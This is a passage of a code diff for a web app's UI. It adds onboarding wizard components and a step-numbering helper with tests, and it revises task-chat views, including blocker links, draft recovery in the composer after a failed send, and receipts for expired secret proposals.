+// lives here — these are pure view pieces.
+import type { ReactNode } from "react";
+import { cn } from "../../lib/utils";
+
+/** The centered card frame each step of the arc sits in. */
+export function OnboardingCard({
+  children,
+  className,
+}: {
+  children: ReactNode;
+  className?: string;
+}) {
+  return (
+    <div
+      className={cn(
+        "w-(--sz-560px) max-w-full rounded-xl border border-border bg-card px-8 py-10 sm:px-10 sm:py-11",
+        className,
+      )}
+    >
+      {children}
+    </div>
+  );
+}
+
+/** Display heading + supporting lede, ported from the prototype's hero type. */
+export function OnboardingHeading({
+  title,
+  lede,
+  center,
+}: {
+  title: ReactNode;
+  lede?: ReactNode;
+  center?: boolean;
+}) {
+  return (
+    <div className={cn("space-y-2", center && "text-center")}>
+      <h1 className="text-4xl font-semibold tracking-tight text-foreground">{title}</h1>
+      {lede ? (
+        <p className="text-base leading-relaxed text-muted-foreground">{lede}</p>
+      ) : null}
+    </div>
+  );
+}
diff --git a/ui/src/components/onboarding/Stepper.test.ts b/ui/src/components/onboarding/Stepper.test.ts
new file mode 100644
index 00000000000..990e512ef99
--- /dev/null
+++ b/ui/src/components/onboarding/Stepper.test.ts
@@ -0,0 +1,32 @@
+import { describe, expect, it } from "vitest";
+import { AGENT_ARC_TOTAL_STEPS, agentArcStepFor } from "./Stepper";
+
+describe("agentArcStepFor", () => {
+  it("numbers the arc from the agent step, not from the wizard's first step", () => {
+    // The wizard's step 3 is the customer's step 1: company creation happened
+    // in Cloud, and the mission step is skipped when it did.
+    expect(agentArcStepFor(3)).toBe(1);
+    expect(agentArcStepFor(4)).toBe(2);
+    expect(agentArcStepFor(5)).toBe(3);
+  });
+
+  it("has no position for steps outside the arc", () => {
+    // The front door and the company/mission steps are not part of the
+    // sequence the strip counts, so they must not render one.
+    for (const wizardStep of [0, 1, 2, 6]) {
+      expect(agentArcStepFor(wizardStep)).toBeNull();
+    }
+  });
+
+  it("never numbers a step past the total it advertises", () => {
+    // "Step 4 of 3" is the failure an arithmetic mapping produces the first
+    // time a step is added ahead of the arc.
+    for (const wizardStep of [-1, 0, 1, 2, 3, 4, 5, 6, 7, 99]) {
+      const position = agentArcStepFor(wizardStep);
+      if (position !== null) {
+        expect(position).toBeGreaterThanOrEqual(1);
+        expect(position).toBeLessThanOrEqual(AGENT_ARC_TOTAL_STEPS);
+      }
+    }
+  });
+});
diff --git a/ui/src/components/onboarding/Stepper.tsx b/ui/src/components/onboarding/Stepper.tsx
new file mode 100644
index 00000000000..1db18c62d58
--- /dev/null
+++ b/ui/src/components/onboarding/Stepper.tsx
@@ -0,0 +1,90 @@
+import { cn } from "../../lib/utils";
+
+/**
+ * The agent arc — create the agent, connect it, review — is the part of the
+ * wizard a customer walks as a numbered sequence. Company creation happens in
+ * Cloud before the tenant is ever reached, so it is not one of these steps.
+ */
+export const AGENT_ARC_TOTAL_STEPS = 3;
+
+/**
+ * What each segment goes to. These are the labels assistive tech reads, in
+ * place of a bare number: the wizard has its own step numbering, and two
+ * controls both announcing "Step 1" while meaning different steps is worse
+ * than no number at all. The visible "Step N of 3" line carries the count.
+ */
+export const AGENT_ARC_STEP_LABELS = [
+  "Create your first agent",
+  "Connect a model",
+  "Review",
+] as const;
+
+/** Wizard step numbers that make up the arc, in order. */
+export const AGENT_ARC_WIZARD_STEPS = [3, 4, 5] as const;
+
+/**
+ * Map a wizard step onto its position in the arc, or `null` when the step is
+ * outside it.
+ *
+ * The two numbering schemes exist for different reasons and must not be
+ * conflated: the wizard's own step numbers include entries the customer may
+ * never see (the front door, and the company/mission steps that are skipped
+ * when Cloud already created the company), while the strip counts only what
+ * this leg of the walk actually shows. Deriving one from the other with
+ * arithmetic would silently produce "Step 0 of 3" the first time a step is
+ * inserted ahead of the arc.
+ */
+export function agentArcStepFor(wizardStep: number): number | null {
+  const index = AGENT_ARC_WIZARD_STEPS.indexOf(wizardStep as (typeof AGENT_ARC_WIZARD_STEPS)[number]);
+  return index === -1 ? null : index + 1;
+}
+
+/**
+ * Segmented progress strip with a "Step N of M" label.
+ *
+ * Segments double as the way back to a step already completed, which is the
+ * affordance the wizard's full-length bar provides outside the arc. A segment
+ * the customer may not return to stays a disabled button rather than
+ * disappearing: the wizard can be entered partway in, and a strip that simply
+ * omitted the steps behind the entry point would misreport how far along they
+ * are.
+ */
+export function Stepper({
+  step,
+  total = AGENT_ARC_TOTAL_STEPS,
+  canJumpToStep,
+  onJumpToStep,
+}: {
+  step: number;
+  total?: number;
+  canJumpToStep?: (target: number) => boolean;
+  onJumpToStep?: (target: number) => void;
+}) {
+  return (
+    <div className="mb-7 flex flex-col gap-3.5">
+      <div className="flex items-center gap-2">
+        {Array.from({ length: total }, (_, index) => index + 1).map((segment) => {
+          const jumpable = Boolean(canJumpToStep?.(segment) && onJumpToStep);
+          return (
+            <button
+              key={segment}
+              type="button"
+              aria-label={AGENT_ARC_STEP_LABELS[segment - 1] ?? `Step ${segment}`}
+              aria-current={segment === step ? "step" : undefined}
+              disabled={!jumpable}
+              onClick={() => jumpable && onJumpToStep?.(segment)}
+              className={cn(
+                "h-(--sz-3px) flex-1 rounded-full transition-colors",
+                segment <= step ? "bg-foreground" : "bg-border",
+                jumpable ? "cursor-pointer" : "cursor-default",
+              )}
+            />
+          );
+        })}
+      </div>
+      <span className="text-(length:--text-micro) font-medium uppercase tracking-widest text-muted-foreground">
+        Step {step} of {total}
+      </span>
+    </div>
+  );
+}
diff --git a/ui/src/components/onboarding/onboarding-motion.ts b/ui/src/components/onboarding/onboarding-motion.ts
new file mode 100644
index 00000000000..ca284088832
--- /dev/null
+++ b/ui/src/components/onboarding/onboarding-motion.ts
@@ -0,0 +1,54 @@
+// Shared motion constants for the onboarding wizard's agent arc (steps 3–5).
+// Ported from the onboarding prototype so the capsule choreography reads the
+// same here as it does there. Reduced motion is honoured at the token layer
+// (ui/src/index.css collapses --motion-duration-* under the media query) and
+// by <MotionConfig reducedMotion="user"> where these are consumed.
+
+/** Step crossfade easing — the house signature curve, also used for in-step reveals. */
+export const STEP_EASE = [0.16, 1, 0.3, 1] as const;
+
+/** Per-step enter/exit crossfade for the keyed step container. */
+export const stepMotion = {
+  initial: { opacity: 0, y: 8 },
+  animate: { opacity: 1, y: 0 },
+  exit: { opacity: 0, y: -8 },
+  transition: { duration: 0.28, ease: STEP_EASE },
+};
+
+/**
+ * The dashed slot's entrance on the agent step: fades and scales up from 50%
+ * about its own centre. Deliberately no y offset — that would bias the growth
+ * upward and read as a drop-in rather than something forming in place.
+ */
+export const CAPSULE_ENTER_DURATION = 1.0;
+export const capsuleMotion = {
+  initial: { opacity: 0, scale: 0.5 },
+  animate: { opacity: 1, scale: 1 },
+  transition: { type: "spring" as const, duration: CAPSULE_ENTER_DURATION, bounce: 0.4 },
+};
+
+/** The name/role reveal: the label fade is staggered by 25% of this. */
+export const PREVIEW_REVEAL_DURATION = 0.45;
+
+/**
+ * The hand-off that makes the capsule read as one object across all three
+ * steps rather than three separate renders: it eases out with the departing
+ * step, then resurfaces on the next one, springing back to full size so it
+ * lands rather than snapping. The exit duration mirrors the step transition so
+ * the two travel together.
+ */
+export const capsuleHandoffExit = {
+  scale: 0.5,
+  opacity: 0,
+  transition: { duration: 0.28, ease: STEP_EASE },
+};
+export const capsuleHeroMotion = {
+  initial: { scale: 0.5, opacity: 0 },
+  animate: { scale: 1, opacity: 1 },
+  transition: {
+    // A soft spring: slow enough that the scale-up is noticeable, damped
+    // enough that it still settles. The fade is lengthened to travel with it.
+    scale: { type: "spring" as const, stiffness: 150, damping: 16 },
+    opacity: { duration: 0.55, ease: STEP_EASE },
+  },
+};
diff --git a/ui/src/components/task-chat/TaskChatActivityPhase.test.tsx b/ui/src/components/task-chat/TaskChatActivityPhase.test.tsx
index ff4124cba6e..260b7847475 100644
--- a/ui/src/components/task-chat/TaskChatActivityPhase.test.tsx
+++ b/ui/src/components/task-chat/TaskChatActivityPhase.test.tsx
@@ -15,6 +15,7 @@ describe("TaskChatActivityPhase", () => {
       items: [{ id: "tool-1", kind: "tool", name: "Read", status: "completed" }],
     }} renderChild={(child) => <button>{child.id}</button>} />));
     const summary = container.querySelector<HTMLButtonElement>('[data-testid="task-chat-phase-summary"]')!;
+    expect(summary.firstElementChild?.tagName).toBe("svg");
     expect(summary.getAttribute("aria-expanded")).toBe("false");
     expect(container.textContent).not.toContain("tool-1");
     flushSync(() => summary.click());
diff --git a/ui/src/components/task-chat/TaskChatBlockerLinks.tsx b/ui/src/components/task-chat/TaskChatBlockerLinks.tsx
new file mode 100644
index 00000000000..0e55b807853
--- /dev/null
+++ b/ui/src/components/task-chat/TaskChatBlockerLinks.tsx
@@ -0,0 +1,232 @@
+import type {
+  IssueBlockerAttentionIssueSummary,
+  IssueRelationIssueSummary,
+} from "@paperclipai/shared";
+import { CheckCircle2, Circle } from "lucide-react";
+import { createIssueDetailPath } from "@/lib/issueDetailBreadcrumb";
+import {
+  orderWaitingBlockers,
+  type WaitingBlockerStatus,
+  type WaitingBlockerStep,
+} from "@/lib/issue-blockers";
+import { Link } from "@/lib/router";
+
+function isUnresolved(blocker: IssueRelationIssueSummary): boolean {
+  return blocker.status !== "done" && blocker.status !== "cancelled";
+}
+
+export function resolveTaskChatBlockers(
+  blockers: IssueRelationIssueSummary[],
+  terminalBlockerIssueId?: string | null,
+  directBlockerIssueId?: string | null,
+  terminalBlocker?: IssueBlockerAttentionIssueSummary | null,
+): {
+  directBlocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary;
+  ultimateBlocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary | null;
+} | null {
+  const unresolvedBlockers = blockers.filter(isUnresolved);
+  if (unresolvedBlockers.length === 0) return null;
+
+  const directBlocker = directBlockerIssueId
+    ? unresolvedBlockers.find((blocker) => blocker.id === directBlockerIssueId)
+    : terminalBlockerIssueId
+      ? unresolvedBlockers.find((blocker) => (
+          blocker.id === terminalBlockerIssueId
+          || blocker.terminalBlockers?.some((terminal) => terminal.id === terminalBlockerIssueId)
+        ))
+      : unresolvedBlockers[0];
+
+  // A selected intermediate blocker is not part of `terminalBlockers`, which
+  // intentionally contains only structural leaves. If its direct path is not
+  // in this payload (for example a child-derived attention path), show the
+  // selected task itself instead of falling back to an unrelated blocker.
+  if (!directBlocker) {
+    if (!terminalBlocker) return null;
+    return {
+      directBlocker: terminalBlocker,
+      ultimateBlocker: null,
+    };
+  }
+
+  const terminalBlockers = directBlocker.terminalBlockers?.filter(isUnresolved) ?? [];
+  const ultimateBlocker = terminalBlockerIssueId
+    ? terminalBlocker?.id === terminalBlockerIssueId
+      ? terminalBlocker
+      : terminalBlockers.find((blocker) => blocker.id === terminalBlockerIssueId) ?? null
+    : terminalBlockers[0] ?? null;
+
+  return {
+    directBlocker,
+    ultimateBlocker: ultimateBlocker?.id === directBlocker.id ? null : ultimateBlocker,
+  };
+}
+
+export interface ResolvedTaskChatLiveWork {
+  steps: WaitingBlockerStep[];
+  nowRunning: Array<IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary>;
+}
+
+export function resolveTaskChatLiveWork(
+  blockers: IssueRelationIssueSummary[],
+  liveIssueIds: ReadonlySet<string>,
+  selectedTerminalBlocker?: IssueBlockerAttentionIssueSummary | null,
+): ResolvedTaskChatLiveWork | null {
+  if (blockers.length === 0) return null;
+
+  const steps = orderWaitingBlockers(blockers, liveIssueIds);
+  const stepIds = new Set(steps.map((step) => step.blocker.id));
+  const terminalCandidates: Array<IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary> = [];
+  for (const blocker of blockers) terminalCandidates.push(...(blocker.terminalBlockers ?? []));
+  if (selectedTerminalBlocker) terminalCandidates.push(selectedTerminalBlocker);
+
+  const nowRunning: Array<IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary> = [];
+  const seen = new Set<string>();
+  for (const blocker of terminalCandidates) {
+    if (!liveIssueIds.has(blocker.id) || stepIds.has(blocker.id) || seen.has(blocker.id)) continue;
+    seen.add(blocker.id);
+    nowRunning.push(blocker);
+  }
+
+  const hasLiveStep = steps.some((step) => step.status === "running");
+  if (!hasLiveStep && nowRunning.length === 0) return null;
+
+  return { steps, nowRunning };
+}
+
+function BlockerRow({
+  label,
+  blocker,
+}: {
+  label: string;
+  blocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary;
+}) {
+  const issuePathId = blocker.identifier ?? blocker.id;
+
+  return (
+    <div className="flex min-w-0 items-baseline gap-1.5 whitespace-nowrap">
+      <span className="shrink-0 font-medium">{label}</span>
+      <Link
+        to={createIssueDetailPath(issuePathId)}
+        className="flex min-w-0 items-baseline gap-1 text-amber-800 underline-offset-2 hover:underline dark:text-amber-200"
+        title={`${blocker.identifier ?? blocker.id.slice(0, 8)} — ${blocker.title}`}
+      >
+        <span className="shrink-0 font-mono">{blocker.identifier ?? blocker.id.slice(0, 8)}</span>
+        <span className="truncate text-amber-700/80 dark:text-amber-300/80">{blocker.title}</span>
+      </Link>
+    </div>
+  );
+}
+
+function LiveWorkGlyph({ status }: { status: WaitingBlockerStatus }) {
+  const label = status === "done" ? "Done" : status === "running" ? "Running" : "Waiting";
+  if (status === "done") {
+    return (
+      <CheckCircle2
+        className="h-3.5 w-3.5 text-blue-500 dark:text-blue-400"
+        role="img"
+        aria-label={label}
+      />
+    );
+  }
+  if (status === "running") {
+    return (
+      <span className="flex h-3.5 w-3.5 items-center justify-center" role="img" aria-label={label}>
+        <span className="h-2.5 w-2.5 animate-pulse rounded-full bg-blue-400" aria-hidden />
+      </span>
+    );
+  }
+  return (
+    <Circle
+      className="h-3.5 w-3.5 text-blue-300 dark:text-blue-500/50"
+      role="img"
+      aria-label={label}
+    />
+  );
+}
+
+function LiveWorkLink({
+  blocker,
+}: {
+  blocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary;
+}) {
+  const issuePathId = blocker.identifier ?? blocker.id;
+  return (
+    <Link
+      to={createIssueDetailPath(issuePathId)}
+      className="flex min-w-0 items-baseline gap-1 text-blue-800 underline-offset-2 hover:underline dark:text-blue-200"
+      title={`${blocker.identifier ?? blocker.id.slice(0, 8)} — ${blocker.title}`}
+    >
+      <span className="shrink-0 font-mono">{blocker.identifier ?? blocker.id.slice(0, 8)}</span>
+      <span className="truncate text-blue-700/80 dark:text-blue-300/80">{blocker.title}</span>
+    </Link>
+  );
+}
+
+export function TaskChatBlockerLinks({
+  directBlocker,
+  ultimateBlocker,
+  placement,
+}: {
+  directBlocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary;
+  ultimateBlocker: IssueRelationIssueSummary | IssueBlockerAttentionIssueSummary | null;
+  placement: "top" | "bottom";
+}) {
+  return (
+    <div
+      aria-label="Task blockers"
+      data-placement={placement}
+      data-testid="task-chat-blocker-links"
+      className="flex min-w-0 flex-col gap-1 overflow-hidden text-(length:--text-micro) leading-4 text-amber-700 dark:text-amber-300"
+    >
+      <BlockerRow label="Blocked by" blocker={directBlocker} />
+      {ultimateBlocker ? (
+        <BlockerRow label="Ultimately blocked by" blocker={ultimateBlocker} />
+      ) : null}
+    </div>
+  );
+}
+
+export function TaskChatLiveWorkLinks({
+  liveWork,
+  placement,
+}: {
+  liveWork: ResolvedTaskChatLiveWork;
+  placement: "top" | "bottom";
+}) {
+  return (
+    <div
+      aria-label="Tasks waiting on live work"
+      data-placement={placement}
+      data-testid="task-chat-live-work-links"
+      className="flex min-w-0 flex-col gap-1.5 overflow-hidden text-(length:--text-micro) leading-4 text-blue-700 dark:text-blue-300"
+    >
+      <div className="flex items-center gap-1.5 font-medium">
+        <span className="flex h-3.5 w-3.5 items-center justify-center" aria-hidden>
+          <span className="h-2.5 w-2.5 animate-pulse rounded-full bg-blue-400" />
+        </span>
+        Waiting on live work
+      </div>
+      <ol className="flex min-w-0 flex-col gap-1">
+        {liveWork.steps.map(({ blocker, status }, index) => (
+          <li
+            key={blocker.id}
+            data-testid="task-chat-live-work-step"
+            className="flex min-w-0 items-center gap-1.5 whitespace-nowrap"
+          >
+            <span className="w-4 shrink-0 text-right font-mono text-blue-500/80" aria-hidden>
+              {index + 1}.
+            </span>
+            <LiveWorkGlyph status={status} />
+            <LiveWorkLink blocker={blocker} />
+          </li>
+        ))}
+      </ol>
+      {liveWork.nowRunning.map((blocker) => (
+        <div key={blocker.id} className="flex min-w-0 items-center gap-1.5 whitespace-nowrap">
+          <span className="shrink-0 font-medium">Now running</span>
+          <LiveWorkLink blocker={blocker} />
+        </div>
+      ))}
+    </div>
+  );
+}
diff --git a/ui/src/components/task-chat/TaskChatComposer.test.tsx b/ui/src/components/task-chat/TaskChatComposer.test.tsx
index dd4b0a04487..e904a8c45ac 100644
--- a/ui/src/components/task-chat/TaskChatComposer.test.tsx
+++ b/ui/src/components/task-chat/TaskChatComposer.test.tsx
@@ -319,7 +319,7 @@ describe("TaskChatComposer", () => {
 
     const chip = container.querySelector<HTMLButtonElement>('[data-testid="task-chat-composer-mode"]')!;
     expect(chip.getAttribute("data-pending-work-mode")).toBe("standard");
-    expect(chip.textContent).toContain("Agent");
+    expect(chip.textContent).toContain("Auto");
 
     pressKey("Tab", { shiftKey: true });
     expect(chip.getAttribute("data-pending-work-mode")).toBe("planning");
@@ -673,15 +673,16 @@ describe("TaskChatComposer", () => {
       }
     });
 
-    it("clears the saved draft only after a successful send", async () => {
+    it("clears the composer and saved draft while the send is pending", async () => {
       localStorage.setItem(draftKey, "queued message");
-      const onAdd = vi.fn().mockResolvedValue(undefined);
+      const onAdd = vi.fn().mockReturnValue(new Promise<void>(() => {}));
       render(<TaskChatComposer onAdd={onAdd} workMode="standard" draftKey={draftKey} />);
 
       pressKey("Enter", { metaKey: true });
       await flushAsync();
 
       expect(onAdd).toHaveBeenCalledWith("queued message", undefined, undefined);
+      expect(editable().textContent).toBe("");
       expect(localStorage.getItem(draftKey)).toBeNull();
     });
 
@@ -737,10 +738,13 @@ describe("TaskChatComposer", () => {
         .toContain("next.txt");
     });
 
-    it("keeps the body and saved draft when sending fails", async () => {
+    it("restores a failed send before text entered while it was pending", async () => {
       vi.useFakeTimers();
       try {
-        const onAdd = vi.fn().mockRejectedValue(new Error("network down"));
+        let rejectSend!: (error: Error) => void;
+        const onAdd = vi.fn().mockReturnValue(new Promise<void>((_resolve, reject) => {
+          rejectSend = reject;
+        }));
         render(<TaskChatComposer onAdd={onAdd} workMode="standard" draftKey={draftKey} />);
         typeText("do not lose this");
         vi.advanceTimersByTime(DRAFT_DEBOUNCE_MS);
@@ -748,9 +752,16 @@ describe("TaskChatComposer", () => {
 
         pressKey("Enter", { metaKey: true });
         await flushAsync();
+        expect(editable().textContent).toBe("");
+        expect(localStorage.getItem(draftKey)).toBeNull();
 
-        expect(editable().textContent).toBe("do not lose this");
-        expect(localStorage.getItem(draftKey)).toBe("do not lose this");
+        typeText("next draft");
+        rejectSend(new Error("network down"));
+        await flushAsync();
+        await flushAsync();
+
+        expect(editable().textContent).toBe("do not lose this\n\nnext draft");
+        expect(localStorage.getItem(draftKey)).toBe("do not lose this\n\nnext draft");
       } finally {
         vi.useRealTimers();
       }
diff --git a/ui/src/components/task-chat/TaskChatComposer.tsx b/ui/src/components/task-chat/TaskChatComposer.tsx
index 4062b1ced6b..8ff2a75ad27 100644
--- a/ui/src/components/task-chat/TaskChatComposer.tsx
+++ b/ui/src/components/task-chat/TaskChatComposer.tsx
@@ -336,21 +336,23 @@ export function TaskChatComposer({
     const reassignment = hasReassignment ? parseAssigneeValue(assigneeValue) : undefined;
     const reopen = shouldImplicitlyReopenComment(issueStatus, assigneeValue) ? true : undefined;
 
+    // The thread renders the outgoing comment optimistically, so remove its
+    // text from the composer at the same time. The editor remains writable for
+    // the next draft while the request is pending.
+    bodyRef.current = "";
+    if (draftTimer.current) {
+      clearTimeout(draftTimer.current);
+      draftTimer.current = null;
+    }
+    if (draftKey) clearDraft(draftKey);
+    setBody("");
     setSubmitting(true);
     try {
       if (pendingMode !== workMode && onWorkModeChange) {
         await onWorkModeChange(pendingMode);
       }
       await onAdd(fullBody, reopen, reassignment);
-      if (bodyRef.current === submittedBody) {
-        bodyRef.current = "";
-        if (draftTimer.current) {
-          clearTimeout(draftTimer.current);
-          draftTimer.current = null;
-        }
-        if (draftKey) clearDraft(draftKey);
-        setBody("");
-      } else if (draftKey) {
+      if (draftKey && bodyRef.current) {
         // The editor stays writable while the request is pending. Preserve
         // text entered after this submission started as the next draft.
         saveDraft(draftKey, bodyRef.current);
@@ -362,7 +364,17 @@ export function TaskChatComposer({
         setPendingAssignee(null);
       }
     } catch {
-      // Keep the body and its draft available for retry.
+      // Restore the failed message for retry without discarding a next draft
+      // that was entered while the request was pending.
+      const nextDraft = bodyRef.current;
+      const restoredBody = nextDraft ? `${submittedBody}\n\n${nextDraft}` : submittedBody;
+      bodyRef.current = restoredBody;
+      if (draftTimer.current) {
+        clearTimeout(draftTimer.current);
+        draftTimer.current = null;
+      }
+      if (draftKey) saveDraft(draftKey, restoredBody);
+      setBody(restoredBody);
     } finally {
       setSubmitting(false);
     }
diff --git a/ui/src/components/task-chat/TaskChatInteractionCard.test.tsx b/ui/src/components/task-chat/TaskChatInteractionCard.test.tsx
index e295c6b8122..b4e4a0b5cdf 100644
--- a/ui/src/components/task-chat/TaskChatInteractionCard.test.tsx
+++ b/ui/src/components/task-chat/TaskChatInteractionCard.test.tsx
@@ -6,6 +6,7 @@ import { afterEach, beforeEach, describe, expect, it } from "vitest";
 import type { RequestConfirmationInteraction } from "@/lib/issue-thread-interactions";
 import { ThemeProvider } from "@/context/ThemeContext";
 import { TooltipProvider } from "@/components/ui/tooltip";
+import { expiredSecretProposalInteraction } from "@/fixtures/issueThreadInteractionFixtures";
 import { TaskChatInteractionCard } from "./TaskChatInteractionCard";
 import { TaskChatThreadView } from "./TaskChatThreadView";
 import type { TaskChatInteractionItem } from "./task-chat-model";
@@ -22,9 +23,12 @@ function createRequestConfirmation(
     summary: "Review and approve the latest plan.",
     status: "pending",
     continuationPolicy: "wake_assignee",
-    resolverPolicy: "board_only",
-    requestedResolverPolicy: "board_only",
-    effectiveResolverPolicy: "board_only",
+    resolverPolicy: "anyone",
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    resolverPolicyProvenance: "inherited",
+    effectiveResolverPolicySource: "requested",
+    legacyResolverPolicyAliases: { requested: "board_or_agents", effective: "board_or_agents" },
     createdByAgentId: "agent-1",
     createdByUserId: null,
     resolvedByAgentId: null,
@@ -114,6 +118,25 @@ describe("TaskChatInteractionCard", () => {
     expect(container.textContent).toContain("Approve the plan");
     expect(container.textContent).toContain("expired");
   });
+
+  it("renders an expired secret proposal as a full receipt", () => {
+    flushSync(() => {
+      root.render(
+        <TooltipProvider>
+          <ThemeProvider>
+            <TaskChatInteractionCard item={interactionItem(expiredSecretProposalInteraction)} />
+          </ThemeProvider>
+        </TooltipProvider>,
+      );
+    });
+
+    expect(container.querySelector('[data-testid="task-chat-interaction"]')).not.toBeNull();
+    expect(container.textContent).toContain("Secret binding requested");
+    expect(container.textContent).toContain("OpenAI API key");
+    expect(container.textContent).toContain("access.evals_openai_api_key");
+    expect(container.textContent).toContain("EvalsEngineer");
+    expect(container.textContent).toContain("A fresh proposal is required");
+  });
 });
 
 describe("TaskChatThreadView interaction items", () => {
diff --git a/ui/src/components/task-chat/TaskChatInteractionCard.tsx b/ui/src/components/task-chat/TaskChatInteractionCard.tsx
index b2533026970..8f2ee829b8b 100644
--- a/ui/src/components/task-chat/TaskChatInteractionCard.tsx
+++ b/ui/src/components/task-chat/TaskChatInteractionCard.tsx
@@ -14,12 +14,18 @@ export interface TaskChatInteractionCardProps extends InteractionCardProps {
  * question card, suggested tasks…) inside the redesigned thread: cards are the
  * only rows that get bubble-level emphasis, so the shared
  * IssueThreadInteractionCard renders full-width with the standard bubble
- * entrance. Expired confirmations demote to a marker row — superseded asks are
- * history, not calls to action (legacy-thread parity).
+ * entrance. Generic expired confirmations demote to a marker row — superseded
+ * asks are history, not calls to action (legacy-thread parity). Secret proposals
+ * remain full receipts because their safe binding metadata and recovery guidance
+ * are part of the terminal outcome.
  */
 export function TaskChatInteractionCard({ item, ...cardProps }: TaskChatInteractionCardProps) {
   const interaction = item.interaction;
-  if (interaction.kind === "request_confirmation" && interaction.status === "expired") {
+  if (
+    interaction.kind === "request_confirmation"
+    && interaction.status === "expired"
+    && !interaction.payload.secretProposal
+  ) {
     return (
       <TaskChatMarker
         item={{
diff --git a/ui/src/components/task-chat/TaskChatStatusPill.tsx b/ui/src/components/task-chat/TaskChatStatusPill.tsx
index b52cc044e5b..6f2a33d6c9f 100644
--- a/ui/src/components/task-chat/TaskChatStatusPill.tsx
+++ b/ui/src/components/task-chat/TaskChatStatusPill.tsx
@@ -263,7 +263,7 @@ interface TaskChatStatusPillProps {
   onApprovalDecision?: (optionId: string) => void;
   /**
    * When set, the live line is the header of an expandable parent row
-   * (TaskChatTurn): render a trailing chevron reflecting the open state —
+   * (TaskChatTurn): render a leading chevron reflecting the open state —
    * the same expand grammar as tool rows and the settled "Worked ·" line.
    */
   chevronOpen?: boolean;
@@ -317,6 +317,12 @@ export function TaskChatStatusPill({
       : item.label;
     const statusLine = (
       <div className="tc-enter-status flex items-center gap-2 py-0.5 text-xs text-muted-foreground">
+        {chevronOpen !== undefined ? (
+          <ChevronRight
+            className={cn("h-3 w-3 shrink-0 transition-transform", chevronOpen ? "rotate-90" : null)}
+            aria-hidden
+          />
+        ) : null}
         {/* Fixed-size lead slot keeps the label from moving as tool icons
             come and go; the pulse dot renders unconditionally. */}
         <span className="flex h-3.5 w-3.5 shrink-0 items-center justify-center">
@@ -346,12 +352,6 @@ export function TaskChatStatusPill({
             </span>
           ) : null}
         </span>
-        {chevronOpen !== undefined ? (
-          <ChevronRight
-            className={cn("h-3 w-3 shrink-0 transition-transform", chevronOpen ? "rotate-90" : null)}
-            aria-hidden
-          />
-        ) : null}
       </div>
     );
     // The interstitial row is PERMANENTLY RESERVED while the turn is live
diff --git a/ui/src/components/task-chat/TaskChatThreadView.tsx b/ui/src/components/task-chat/TaskChatThreadView.tsx
index c503bcef842..a3bb398c3b0 100644
--- a/ui/src/components/task-chat/TaskChatThreadView.tsx
+++ b/ui/src/components/task-chat/TaskChatThreadView.tsx
@@ -46,7 +46,7 @@ interface TaskChatThreadViewProps {
   /** Content appended inside the transcript scroller after the settled thread. */
   tail?: ReactNode;
   /** Optional streaming-aware key when `tail` changes without changing `items`. */
-  contentKey?: number;
+  contentKey?: unknown;
   className?: string;
   /** When false, render the list without the scroll container (e.g. previews). */
   scroll?: boolean;
diff --git a/ui/src/components/task-chat/TaskChatTurn.test.tsx b/ui/src/components/task-chat/TaskChatTurn.test.tsx
index 1ec01cf23bc..ff29568825d 100644
--- a/ui/src/components/task-chat/TaskChatTurn.test.tsx
+++ b/ui/src/components/task-chat/TaskChatTurn.test.tsx
@@ -122,12 +122,15 @@ describe("TaskChatTurn", () => {
     expect(summaryBtn()?.textContent).toContain("Worked");
     expect(summaryBtn()?.textContent).toContain("38s · 3 tools · +34 −3 · 12.3k tokens");
     expect(fold()?.getAttribute("data-folded")).toBe("true");
+    expect(summaryBtn()?.firstElementChild?.tagName).toBe("svg");
+    expect(summaryBtn()?.querySelector(".tc-turn-metrics")?.getAttribute("data-visible")).toBe("false");
   });
 
   it("toggles open on summary click", () => {
     renderTurn(SETTLED);
     flushSync(() => summaryBtn()!.click());
     expect(fold()?.getAttribute("data-folded")).toBe("false");
+    expect(summaryBtn()?.querySelector(".tc-turn-metrics")?.getAttribute("data-visible")).toBe("true");
   });
 
   it("a headerless live turn renders expanded with no summary line", () => {
@@ -149,6 +152,7 @@ describe("TaskChatTurn", () => {
     expect(header?.textContent).toContain("Editing files…");
     expect(header?.textContent).toContain("Edit · server/src/routes/auth.ts");
     expect(header?.getAttribute("aria-expanded")).toBe("false");
+    expect(header?.firstElementChild?.firstElementChild?.tagName).toBe("svg");
     // All activity is folded behind it — no rows visible, no summary line.
     expect(fold()?.getAttribute("data-folded")).toBe("true");
     expect(summaryBtn()).toBeNull();
@@ -257,6 +261,7 @@ describe("TaskChatTurn", () => {
     // "2:34 PM · ✓ Worked · …" — timestamp first, always visible, and the
     // expand affordance still works from the same line.
     expect(summaryBtn()?.textContent).toMatch(/^2:34 PM·Worked/);
+    expect(summaryBtn()?.firstElementChild?.tagName).toBe("svg");
     flushSync(() => summaryBtn()!.click());
     expect(fold()?.getAttribute("data-folded")).toBe("false");
   });
diff --git a/ui/src/components/task-chat/TaskChatTurn.tsx b/ui/src/components/task-chat/TaskChatTurn.tsx
index 20455f89b7f..762dd042ce3 100644
--- a/ui/src/components/task-chat/TaskChatTurn.tsx
+++ b/ui/src/components/task-chat/TaskChatTurn.tsx
@@ -88,6 +88,7 @@ export function TaskChatTurn({ item, renderChild, timestampPrefix, leading }: Ta
       className="group flex items-center gap-2 px-1 py-0.5 text-xs text-muted-foreground transition-colors hover:text-foreground"
       data-testid="task-chat-turn-summary"
     >
+      <ChevronRight className={cn("h-3 w-3 shrink-0 transition-transform", open ? "rotate-90" : null)} aria-hidden />
       {timestampPrefix ? (
         <>
           <span className="text-(length:--text-micro)">{timestampPrefix}</span>
@@ -101,16 +102,12 @@ export function TaskChatTurn({ item, renderChild, timestampPrefix, leading }: Ta
         // DOM (and the accessible tree) but fades in only on hover/focus so the
         // settled line reads as "2:34 PM · ✓ Worked" at rest. Revealed too when
         // the fold is open, so the metrics don't vanish while you read below.
-        <span
-          className={cn(
-            "font-mono text-(length:--text-micro) transition-opacity group-hover:opacity-100 group-focus-visible:opacity-100",
-            open ? "opacity-100" : "opacity-0",
-          )}
-        >
-          {turnSummaryMetrics(item.summary)}
+        <span className="tc-turn-metrics" data-visible={open ? "true" : "false"}>
